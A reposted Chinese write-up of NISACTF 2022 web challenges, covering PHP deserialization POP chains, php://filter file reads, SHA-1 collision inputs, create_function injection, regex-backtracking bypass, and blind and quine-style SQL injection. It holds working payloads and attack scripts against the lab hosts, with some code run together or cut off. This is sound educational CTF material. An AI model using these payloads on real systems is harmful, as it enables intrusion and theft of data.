返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >[NISACTF 2022]
  • 325
分享到

[NISACTF 2022]

php安全 2023-09-14 15:09:16 325人浏览 安东尼
摘要

目录 前言: [NISACTF 2022]popchains [NISACTF 2022]babyserialize 考点: 解题: 解法二:利用 php  总结: [NISACTF 2022]easyssrf [NISACTF 202

目录

前言:

[NISACTF 2022]popchains

[NISACTF 2022]babyserialize

考点:

解题:

解法二:利用 php

 总结:

[NISACTF 2022]easyssrf

[NISACTF 2022]level-up

level 1

level2

Level___3.php

level 4

level5

 [NSSCTF 2022 Spring Recruit]ezgame

[NISACTF 2022]checkin

 [NISACTF 2022]babyupload

[NISACTF 2022]middlerce

[NISACTF 2022]hardsql


前言:

没时间参加比赛,来复现一下。

[NISACTF 2022]popchains

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct():反序列化的时候,或者对象销毁的时候调用__wakeup():反序列化的时候调用__sleep():序列化的时候调用__toString():把类当成字符串的时候调用,一般在echo处生效__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__get():读取不可访问或者不存在的属性的时候,进行赋值__call():在对象中调用一个不可访问的方法的时候,会被执行

进入环境:

直接是代码审计环节:

Happy New Year~ MAKE A WISHPHPecho 'Happy New Year~ MAKE A WISH
';if(isset($_GET['wish'])){ @unserialize($_GET['wish']);}else{ $a=new Road_is_Long; highlight_file(__FILE__);}class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }}class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); }}

一般的思路,都是先看出口,也就是我们能够利用的点。

这里看到

class Try_Work_Hard{    protected  $var;    public function append($value){        include($value);}

Try_work_Hard 类中 有个文件包含,我们追加上去看看哪里调用了 append 函数。

    public function __invoke(){        $this->append($this->var);    }}

类中的 __invoke 方法 调用了append 传入的$var 。__invoke 的定义是,当一个对象被当函数一样调用的时候 例如: 

$a = new test();$a ();

这样就会触发 __invoke 方法. 那么我们继续追踪 哪里可以调用 __invoke。.

看到 Class MAKE_a_Change 类中:

   public function __get($key){        $function = $this->effort;        return $function();    }}

把$func 对象当作了函数来调用。而定义的__get 该如何 调用呢?

__get 魔术方法 是当访问一个类中的属性不存在或者privte 的时候 会被调用。

在 Class Road_Is_Long 中:

    public function __toString(){        return $this->string->page;    }

如果 $this ->string = MAKE_a_Change的话,就会访问其page 属性,而其类中没有此方法则会调用__get()

那么再来看看 __toString 方法如何调用:

定义是 __toString(),类被当成字符串时触发。

找了半天,没找到哪里有echo ,只有这个地方有echo, 应该就是 正则匹配这个地方 ,如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString

那应该就是 把payload 打进去 就自动触发 __toString 了吧 。

整理下思路:

 __wakeup() -> 创建 page 为Road_is_Long 类本身   => __toString ->  $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke()  -> => append() => include($value); value=flag.php

好,构造。

page = $road2;$road2->string=$make;$make->effort=$try;$ser = serialize($road1);echo urlencode($ser);

直接传入就得到flag。

[NISACTF 2022]babyserialize

考点:

php反序列化pop链构造。

代码审计。

解题:

__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct():反序列化的时候,或者对象销毁的时候调用__wakeup():反序列化的时候调用__sleep():序列化的时候调用__toString():把类当成字符串的时候调用,一般在echo处生效__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__get():读取不可访问或者不存在的属性的时候,进行赋值__call():在对象中调用一个不可访问的方法的时候,会被执行

直接来吧:

fun=="show_me_flag"){            hint();        }    }    function __call($from,$val){        $this->fun=$val[0];    }    public function __toString()    {        echo $this->fun;        return " ";    }    public function __invoke()    {        checkcheck($this->txw4ever);        @eval($this->txw4ever);    }}class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}class Ilovetxw{    public $huang;    public $su;    public function __call($fun1,$arg){        $this->huang->fun=$arg[0];    }    public function __toString(){        $bb = $this->su;        return $bb();    }}class four{    public $a="TXW4EVER";    private $fun='abc';    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }    }}if(isset($_GET['ser'])){    @unserialize($_GET['ser']);}else{    highlight_file(__FILE__);}//func checkcheck($data){//  if(preg_match(......)){//      die(something wrong);//  }//}//function hint(){//    echo ".......";//    die();//}?>

老规矩,先找出口,看到 Class NISA 中的 __invoke 方法,有个eval 。只能利用这里了。

如何调用__invoke :当尝试以调用函数的方式调用对象的时候,就会调用该方法

找一下哪个方法可以 把对象调用。

看到 Class Ilovetxw 中的 __toString 方法:

    public function __toString(){        $bb = $this->su;        return $bb();    }

return $bb ,$bb是class Nisa的对象就会调用 __invoke。

来看看如何调用 __toString .

__toString():把类当成字符串的时候调用,一般在echo处生效

这里有两个地方,一个地方是误区。 一个是NISA 类中的__toString 

    public function __toString()    {        echo $this->fun;        return " ";    }

还有一个地方 Four 类中的set方法:

    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }

我想着 不会 用__toString 去调用 __toString 吧 。那我就不会构造了。。。

仔细看了一下,查了下php文档。

这里写的是将字符串转换为小写  可以调用__toString ,来到__set。

__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

这里选择的是 class Ilovetxw 中的_class 方法。 利用 $this -> four类 -> fun = $arg[0] 就可以调用__clall 因为 这里正好 $fun是 private 属性。

看看__call方法如何调用:

__call():在对象中调用一个不可访问的方法的时候,会被执行

刚好,class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法

class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}

把$this->ext->nisa($this->x);  改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call

整理下 整体流程思路 :

__invoke =>  __toString  =>  __set => __call => wakeUp.

exp :

ext = $ilove;$ilove ->huang=$four;$four ->a = $ilove;$ilove ->su = $nisa;echo urlencode(serialize($tian));//O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A12%3A%22system%28%27ls%27%29%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

传入发现:

 system 改成 大写就可以了

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%27tac+%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D

解法二:利用 php

原生类类。

echo new GlobIterator(\"/f*\");

读文件名 $N1->txw4ever = "echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fllllllaaag\");"; 读文件

 总结

这题 不算复杂 但也足够了。

[NISACTF 2022]easyssrf

伪协议 访问 file :///flag

读取显示:

访问  ha1x1ux1u.php

 大概就是不能匹配到 file 。

伪协议一把梭:

?file=php://filter/read/convert.base64-encode/resource=/flag

[NISACTF 2022]level-up

进环境

level 1

 扫目录 。访问 robots.txt

level2

level_2_1s_h3re.php
 

 常见的 md5 强比较。 用hackbar 一直都是level2 failed 。用bp就行了

 参考文章:浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初mochu7的博客-CSDN博客

Level___3.php

  

一把唆: 

    

array1=%25pdf-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
    
    &array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
 

直接出 level_level_4.php

level 4

 give me a parameterlevel 4 failed ...

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`
这里正好 + 没有被过滤

官方解:

Http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever

读出:55_5_55.php

level5

create_function 注入:

?a=\create_function&b=}system('tac /flag');//

参考文章:

create_function()代码注入 - ctrl_TT豆 - 博客园 (cnblogs.com)

你终于回来了(。・∀・)ノ (cnblogs.com)

 [NSSCTF 2022 spring Recruit]ezgame

好难的游戏。。。

访问源码 ,点js 文件   ctrl +f 直接搜flag。

[NISACTF 2022]checkin

  

正常传值 是不行的,因为存在了不可见字符,复制到vscode里。

?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

 [NISACTF 2022]babyupload

下载 源代码文件:

from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuidapp = Flask(__name__)SCHEMA = """CREATE TABLE files (id text primary key,path text);"""def db():    g_db = getattr(g, '_database', None)    if g_db is None:        g_db = g._database = sqlite3.connect("database.db")    return g_db@app.before_first_requestdef setup():    os.remove("database.db")    cur = db().cursor()    cur.executescript(SCHEMA)@app.route('/')def hello_world():    return """
Select image to upload:
"""@app.route('/source')def source(): return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)@app.route('/upload', methods=['POST'])def upload(): if 'file' not in request.files: return redirect('/') file = request.files['file'] if "." in file.filename: return "Bad filename!", 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try: cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid)@app.route('/file/')def file(id): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?", (id,)) res = cur.fetchone() if res is None: return "File not found", 404 # print(res[0]) with open(os.path.join("uploads/", res[0]), "r") as f: return f.read()if __name__ == '__main__': app.run(host='0.0.0.0', port=80)

漏洞位置:

    with open(os.path.join("uploads/", res[0]), "r") as f:        return f.read()

os.path.join 会做一个绝对路径拼接。

比如:

import os print("1:",os.path.join('aaaa','/bbbb','ccccc.txt')) print("2:",os.path.join('/aaaa','/bbbb','/ccccc.txt')) print("3:",os.path.join('aaaa','DDD','./bbb','ccccc.txt'))

输出:

1: /bbbb\ccccc.txt2: /ccccc.txt3: aaaa\ddd\./bbb\ccccc.txt
  • 从后往前看,会从第一个以”/”开头的参数开始拼接,之前的参数全部丢弃;

  • 以上一种情况为先。在上一种情况确保情况下,若出现”./”开头的参数,会从”./”开头的参数的前面参数全部保留;

这里如果传入  /flag 他会把绝对路径拼接为 /uploads/flag 并且打印出来 。得到flag

[NISACTF 2022]middlerce

|\{|\x09|\x0a|\[).*$/m',$txw4ever)){        die("再加把油喔");    }    else{        $command = json_decode($txw4ever,true)['cmd'];        checkdata($command);        @eval($command);    }}else{    highlight_file(__FILE__);}?>

正则匹配过滤了 很多东西,异或 %a 都过滤了。那么就可以考虑正则最大回溯绕过

直接上payload 了:

import requestspayload='{"cmd":"?>","test":"' + "@"*(1000000) + '"}'res = requests.post("http://1.14.71.254:28939/", data={"letter":payload})print(res.text)

直接得到flag。

[NISACTF 2022]hardsql

步骤: 只能是bilala用户。fuzz 一下。 like 没过滤 ,like模糊测试 爆密码:

import requestsurl='http://1.14.71.254:28961/login.php'dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'flag=''for j in range(50):    for i in dict:        data={            "username":"bilala",            "passwd":f"1'orpasswdlike'{flag+i}%'#"        }        res=requests.post(url,data=data)        if "nothing found" not in res.text:            flag=flag+i            print(flag)            break

进到下个环境:

alert('{$mes}');location.href='{$url}';");}function checkSql($s) {    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){        alertMes('waf here', 'index.php');    }}if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {    $username=$_POST['username'];    $password=$_POST['passwd'];    if ($username !== 'bilala') {        alertMes('only bilala can login', 'index.php');    }    checkSql($password);    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";    $user_result=mysqli_query($MysqlLink,$sql);    $row = mysqli_fetch_array($user_result);    if (!$row) {        alertMes('nothing found','index.php');    }    if ($row['passwd'] === $password) {        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){            show_source(__FILE__);            die;        }        else{            die($FLAG);        }    } else {        alertMes("wrong password",'index.php');    }}?>

重点在这一段

    if ($row['passwd'] === $passWord) {        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){            show_source(__FILE__);            die;        }        else{            die($FLAG);        }    } else {        alertMes("wrong password",'index.php');

这就有点矛盾了   即要登录时 密码 = b2f2d15b3ae082ca29697d8dcd420fd7时才能登录,还要密码不 等于 b2f2d15b3ae082ca29697d8dcd420fd7才能输出flag 。觉得应该是要编码什么的?

官方解:

'uNIOnselectreplace(replace('"unionselectreplace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"unionselectreplace(replace("%",0x22,0x27),0x25,"%")#')
此为官方的payload
 

题目中还过滤了char,用chr或者直接用 0x 直接代替。

最终的payload 为:

username=bilala&passwd='unionselectreplace(replace('"unionselectreplace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"unionselectreplace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

来源地址:https://blog.csdn.net/snowlyzz/article/details/126754893

--结束END--

本文标题: [NISACTF 2022]

本文链接: https://lsjlt.com/news/407480.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • [NISACTF 2022]
    目录 前言: [NISACTF 2022]popchains [NISACTF 2022]babyserialize 考点: 解题: 解法二:利用 php  总结: [NISACTF 2022]easyssrf [NISACTF 202...
    99+
    2023-09-14
    php 安全
  • [NISACTF 2022]bingdundun
    进入靶场环境,提示upload,应该是一个文件上传与文件包含相关的题目。 点击upload进入文件上传页面。看到url有一个bingdundun的get传参,我们尝试传入其他值尝试一下。 尝试传入index,发现index页面...
    99+
    2023-09-25
    安全 web安全
  • 关于[NISACTF 2022]babyserialize详解
    前言 先甩出PHP的魔术方法。 __invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法__construst():具有构造函数的类在创建新对象的时候,回调此方法__destruct...
    99+
    2023-09-12
    php 开发语言 网络安全
  • ISCC-2022
    ISCC-2022 本文首发于奇安信攻防社区 注:本文所做题目时间和复现时间不一致,按照主办方每天中午更新flag,或许有不同 练武 MISC 单板小将苏翊鸣 下载附件得到压缩包和图片 修改高度 扫...
    99+
    2023-09-14
    http 安全 php html
  • ISCC 2022 wp
    目录 解题步骤及过程: 练武题WP: Web: 冬奥会: 爱国敬业好青年-2: Pop2022: 这是一道代码审计题: Easy-SQL: Findme: 让我康康!: misc: 2022冬奥会: 单板小将苏翊鸣: 隐秘的信息: 藏在星空...
    99+
    2023-09-14
    php 开发语言
  • 2022 UUCTF Web
    目录 Web (1) websign(禁用js绕过) (2) ez_rce(>闭合 `rce`) (3) ez_unser(引用传递) (4) ez_upload(apache后缀解析漏洞) (5) ezsql(union注入...
    99+
    2023-09-07
    php web安全
  • SQL Server 2022来了
    SQL Server 2022来了   微软SQL Server依然保持着3年内发布一个大版本的传统,最新版本已经来到SQL Server2022   相关特性双向HA/DR 到Azure SQLSQL Server 2022 与 Azu...
    99+
    2017-01-20
    SQL Server 2022来了
  • 2022安洵杯babyphp
    这个题没打出来有点可惜,感觉做的都差不多了,不过有些地方确实没理解,还是理解不到位 先来看序列化,这个序列化是不难的,不过有一个小坑,我们先理一遍顺序 array(0) { } session反序列化漏洞: session是会被反序列...
    99+
    2023-09-16
    php 开发语言 web安全 网络安全
  • 2022-HitCon-Web-yeeclass WP
    复现平台CTFHUB 靶机为一个完整类论坛网页,题目给了服务端完整代码 代码审计 /src/submit.php Line56-63: 可以看到提交数据存入的时候将$_SESSION["userna...
    99+
    2023-08-31
    php web安全 mysql
  • ctfshow七夕杯2022
    文章目录 Webweb签到easy_calceasy_cmd Crypto密码签到 Misc杂项签到 Osint社工签到迷失的大象大飞机 原文 Web web...
    99+
    2023-09-01
    php 开发语言
  • 挥别2022,坦迎2023。
    第一章:CSDN,我来啦! 第一节:初遇! 2022-08-13,我和CSDN相遇啦! CSDN,你好呀!2022年8月13日,是我与你相...
    99+
    2023-08-31
    java 前端 开发语言 Powered by 金山文档
  • 2022年羊城杯wp
    web rce_me ...
    99+
    2023-08-31
    php python 开发语言
  • ISCTF 2022 WEB WP分享
    文章目录 EASY-PHP01FakeWebEASY-PHP02simplePHP猫和老鼠curleasy-onlineshell傻注rce 感谢老六师傅和gsf1yy师傅的帮助和指导 ...
    99+
    2023-09-02
    php 网络安全 web安全 安全
  • 最新Adobe 2022全新上线 Adobe 2022永久免费使用教程
    每次的大版本更新 为全世界的摄影、影视、设计师 提供了一系列生产力工具 电脑配置符合要求的小伙伴可以尝鲜啦。 软件版本越高对电脑的配置要求就越高。 目前adobe2022的配置要求...
    99+
    2024-04-02
  • 春秋云境:CVE-2022-25578
    春秋云境:CVE-2022-25578 文章合集:春秋云境系列靶场记录(合集) taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码 漏洞介绍 taocms v3....
    99+
    2023-09-26
    安全 安全漏洞 web安全 网络安全 系统安全
  • CISCN 2022 初赛 web 复现
    [CISCN 2022 初赛]ezpop 可以看到版本,那么直接上网找链子打 www.zip 查看路由,是 Index/test,然后 post 传参 a ...
    99+
    2023-09-15
    比赛复现
  • 【春秋云境】CVE-2022-32991
    靶标介绍: ​ 该CMS的welcome.php中存在SQL注入攻击 介绍中就很明显提示了welcome.php中存在SQL注入,那么就直接访问。但是要先登录,我们直接注册一个进去。 注册完登录...
    99+
    2023-09-17
    安全
  • WINDOWS11 SQL SERVER 2022的安装
    前言 数据库是计算机行业不可或缺的重要软件,也可以说是重要服务器,今天就带领大家搞一下最新的数据库安装 一、下载地址 下载SSMS https://learn.microsoft.com/zh-cn/...
    99+
    2023-09-17
    数据库 sqlserver 服务器
  • [LCTF]bestphp&2022安洵杯 babyphp
    目录 [LCTF]bestphp‘s revenge SoapClient触发反序列化导致ssrf serialize_hander处理session方式不同导致session注入 crlf漏洞 安洵杯 babyphp SoapClie...
    99+
    2023-10-03
    php web安全
  • CVE-2022-30887漏洞复现
    多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CM...
    99+
    2023-09-11
    php 开发语言 安全 网络 服务器
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作